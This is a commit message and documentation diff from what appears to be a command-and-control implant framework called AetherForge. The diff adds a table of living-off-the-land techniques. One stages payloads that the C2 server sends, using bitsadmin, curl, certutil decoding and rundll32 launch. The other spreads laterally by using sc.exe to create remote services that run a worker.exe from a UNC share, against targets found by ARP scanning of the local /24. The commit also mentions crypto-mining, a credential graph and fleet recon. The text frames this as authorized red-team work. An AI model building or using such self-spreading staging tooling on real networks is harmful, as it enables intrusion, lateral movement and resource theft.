Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

docs/SPREAD_TECHNIQUES.md

@@ -111,6 +111,15 @@ Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
 
 ---
 
+## LOTL staging & LAN spread (agent commands)
+
+| Technique | LOLBins | AetherForge mapping |
+|-----------|---------|---------------------|
+| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). |
+| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc` — `sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. |
+
+---
+
 ## Key References
 
 - [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)